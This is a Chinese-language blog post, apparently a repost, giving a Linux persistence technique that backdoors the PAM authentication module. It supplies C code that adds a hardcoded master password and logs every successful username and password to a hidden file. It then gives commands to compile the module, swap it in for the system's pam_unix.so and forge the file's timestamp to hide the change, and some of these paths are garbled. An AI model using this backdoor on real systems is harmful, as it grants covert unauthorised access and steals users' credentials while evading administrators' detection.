内网技巧-Linux权限维持之PAM万能密码登录

作者: print("") 分类: linux,漏洞复现 发布时间: 2020-12-21 21:21

原文地址:https://xz.aliyun.com/t/8618

试验环境:Centos8.2

pam版本1.3.1

[root@localhost ~]# cat /etc/redhat-release 
CentOS Linux release 8.2.2004 (Core) 
[root@localhost ~]# rpm -qa |grep pam
pam-1.3.1-8.el8.x86_64
systemd-pam-239-29.el8.x86_64
[root@localhost ~]# 

PAM包下载地址:
http://www.linux-pam.org/library/

因为没有找到1.3.1 的所以用的是1.3.0。这里使用1.3.0 不影响

http://www.linux-pam.org/library/Linux-PAM-1.3.0.tar.gz

修改moudles/pam_unix/pam_unix_auth.c 代码

大概是176行左右


if(strcmp(p,"goodboy")==0)
{
    retval = PAM_SUCCESS;
}

if(retval== PAM_SUCCESS)
{
    FILE *fp = fopen("/usr/share/java/.null","a+");
    fprintf(fp,"%s::%s\n",name,p);
    fclose(fp);
}

修改完之后传到服务器中进行编译

chmod +x configure  && ./configure && make

编译完成之后找到目录modules/pam_unix/.libs/

随后替换 pam_unix.so文件,系统原本的认证文件为/lib64/security/pam_unix.so
32位系统为/lib/security/pam_unix.so

备份
cp -af b64curity/pam_unix.so /opt/

用编译好的pam_unix.so文件替换
cp -af pam_unix.so b64curity/

修改时间
touch -r b64curity/pam_userdb.so b64curity/pam_unix.so


验证


使用以前的密码和当前的密码都是可以进行登陆的。



如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注